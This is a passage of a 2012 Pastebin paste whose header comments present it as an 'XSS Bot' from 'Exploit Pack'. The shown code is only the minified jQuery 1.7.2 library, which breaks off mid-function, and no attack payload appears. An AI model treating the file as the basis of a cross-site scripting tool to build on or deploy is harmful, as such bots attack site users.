Guest User

doMagic.js Juan Sacco

a guest
May 22nd, 2012
666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 230.71 KB | None | 0 0
  1. // XSS Bot - Developed by Juan Sacco
  2. // Exploit Pack - http://exploitpack.com
  3. // 2012 All rights reserved - BUILD 20121503
  4. /*! jQuery v1.7.2 jquery.com | jquery.org/license */
  5. (function(a,b){function cy(a){return
  6. f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function
  7. cu(a){if(!cj[a]){var
  8. b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype
  9. html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return
  10. cj[a]}function ct(a,b){var
  11. c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return
  12. c}function cs(){cq=b}function cr(){setTimeout(cs,0);return
  13. cq=f.now()}function ci(){try{return new
  14. a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return
  15. new a.XMLHttpRequest}catch(b){}}function
  16. cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var
  17. d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h
  18. in a.converters)typeof
  19. h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else
  20. if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in
  21. e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+"
  22. "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No
  23. conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return
  24. c}function ca(a,c,d){var
  25. e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in
  26. d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i
  27. in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in
  28. d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+"
  29. "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return
  30. d[j]}}function
  31. b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof
  32. e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e
  33. in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var
  34. d,e,g=f.ajaxSettings.flatOptions||{};for(d in
  35. c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function
  36. bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var
  37. h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof
  38. l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return
  39. l}function bY(a){return function(b,c){typeof
  40. b!="string"&&(c=b,b="*");if(f.isFunction(c)){var
  41. d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function
  42. bB(a,b,c){var
  43. d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return
  44. d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return
  45. d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return
  46. d+"px"}function bo(a){var
  47. b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return
  48. b.firstChild}function bn(a){var
  49. b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof
  50. a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function
  51. bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function
  52. bl(a){return typeof
  53. a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof
  54. a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function
  55. bk(a,b){var
  56. c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function
  57. bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var
  58. c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete
  59. h.handle,h.events={};for(c in
  60. i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function
  61. bi(a,b){return
  62. f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function
  63. U(a){var
  64. b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return
  65. c}function T(a,b,c){b=b||0;if(f.isFunction(b))return
  66. f.grep(a,function(a,d){var e=!!b.call(a,d,a);return
  67. e===c});if(b.nodeType)return f.grep(a,function(a,d){return
  68. a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return
  69. a.nodeType===1});if(O.test(b))return
  70. f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return
  71. f.inArray(a,b)>=0===c})}function
  72. S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function
  73. K(){return!0}function J(){return!1}function n(a,b,c){var
  74. d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function
  75. m(a){for(var b in
  76. a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function
  77. l(a,c,d){if(d===b&&a.nodeType===1){var
  78. e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof
  79. d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else
  80. d=b}return d}function h(a){var
  81. b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return
  82. b}var c=a.document,d=a.navigator,e=a.location,f=function(){function
  83. J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var
  84. e=function(a,b){return new
  85. e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[
  86. \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie)
  87. ([\w.]+)/,u=/(mozilla)(?:.*?
  88. rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var
  89. g,h,j,k;if(!a)return
  90. this;if(a.nodeType){this.context=this[0]=a,this.length=1;return
  91. this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return
  92. this}if(typeof
  93. a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d
  94. instanceof
  95. e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return
  96. e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return
  97. f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return
  98. this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return
  99. f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return
  100. e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return
  101. this.length},toArray:function(){return
  102. F.call(this,0)},get:function(a){return
  103. a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var
  104. d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?"
  105. ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return
  106. d},each:function(a,b){return
  107. e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return
  108. this},eq:function(a){a=+a;return
  109. a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return
  110. this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return
  111. this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return
  112. this.pushStack(e.map(this,function(b,c){return
  113. a.call(b,c,b)}))},end:function(){return
  114. this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var
  115. a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof
  116. i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof
  117. i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c
  118. in
  119. a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return
  120. i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return
  121. e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return
  122. setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once
  123. memory");if(c.readyState==="complete")return
  124. setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else
  125. if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var
  126. b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return
  127. e.type(a)==="function"},isArray:Array.isArray||function(a){return
  128. e.type(a)==="array"},isWindow:function(a){return
  129. a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return
  130. a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var
  131. d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var
  132. b in a)return!1;return!0},error:function(a){throw new
  133. Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return
  134. null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return
  135. a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new
  136. Function("return "+b))();e.error("Invalid JSON:
  137. "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var
  138. d,f;try{a.DOMParser?(f=new
  139. DOMParser,d=f.parseFromString(c,"text/xml")):(d=new
  140. ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid
  141. XML: "+c);return
  142. d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return
  143. a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return
  144. a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var
  145. f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in
  146. a)if(c.apply(a[f],d)===!1)break}else
  147. for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in
  148. a)if(c.call(a[f],f,a[f])===!1)break}else
  149. for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return
  150. a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return
  151. a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var
  152. c=b||[];if(a!=null){var
  153. d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return
  154. c},inArray:function(a,b,c){var d;if(b){if(H)return
  155. H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in
  156. b&&b[c]===a)return c}return-1},merge:function(a,c){var
  157. d=a.length,e=0;if(typeof c.length=="number")for(var
  158. f=c.length;e<f;e++)a[d++]=c[e];else
  159. while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var
  160. d=[],e;c=!!c;for(var
  161. f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return
  162. d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof
  163. e||j!==b&&typeof
  164. j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else
  165. for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return
  166. h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var
  167. d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var
  168. f=F.call(arguments,2),g=function(){return
  169. a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return
  170. g},access:function(a,c,d,f,g,h,i){var
  171. j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in
  172. d)e.access(a,c,l,d[l],1,h,f);g=1}else
  173. if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return
  174. j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return
  175. g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new
  176. Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var
  177. b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function
  178. a(b,c){return new
  179. a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f
  180. instanceof e&&!(f instanceof a)&&(f=a(f));return
  181. e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return
  182. a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp
  183. Object".split(" "),function(a,b){I["[object
  184. "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test("
  185. ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return
  186. e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var
  187. c=[],d=[],e,i,j,k,l,m,n=function(b){var
  188. d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var
  189. a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return
  190. this},remove:function(){if(c){var
  191. b=arguments,d=0,e=b.length;for(;d<e;d++)for(var
  192. f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return
  193. this},has:function(a){if(c){var
  194. b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return
  195. this},disable:function(){c=d=e=b;return
  196. this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return
  197. this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return
  198. this},fire:function(){p.fireWith(this,arguments);return
  199. this},fired:function(){return!!i}};return p};var
  200. i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once
  201. memory"),c=f.Callbacks("once
  202. memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return
  203. e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return
  204. this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return
  205. this},pipe:function(a,b,c){return
  206. f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var
  207. c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else
  208. for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in
  209. g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return
  210. i},when:function(a){function m(a){return
  211. function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function
  212. l(a){return
  213. function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var
  214. b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else
  215. j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var
  216. b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML="
  217. <link/><table></table><a href='skins/default/a'
  218. style='top:1px;float:left;opacity:.55;'>a</a><input
  219. type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete
  220. p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n
  221. in{submit:1,change:1,focusin:1})m="on"+n,o=m in
  222. p,o||(p.setAttribute(m,"return;"),o=typeof
  223. p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var
  224. d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px
  225. solid #000;",q="<div "+n+"display:block;'><div
  226. style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"'
  227. cellpadding='0'
  228. cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td
  229. style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof
  230. p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div
  231. style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof
  232. d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return
  233. b}();var
  234. j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var
  235. g,h,i,j=f.expando,k=typeof
  236. c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof
  237. c=="object"||typeof
  238. c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return
  239. g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return
  240. i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var
  241. d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b
  242. in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split("
  243. ")));for(e=0,g=b.length;e<g;e++)delete
  244. d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete
  245. j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete
  246. j[k]:j[k]=null,i&&(f.support.deleteExpando?delete
  247. a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return
  248. f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var
  249. b=f.noData[a.nodeName.toLowerCase()];if(b)return
  250. b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var
  251. d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return
  252. m}if(typeof a=="object")return
  253. this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return
  254. f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return
  255. m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var
  256. b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return
  257. this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var
  258. d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var
  259. d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return
  260. d||[]}},dequeue:function(a,b){b=b||"fx";var
  261. c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue
  262. "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var
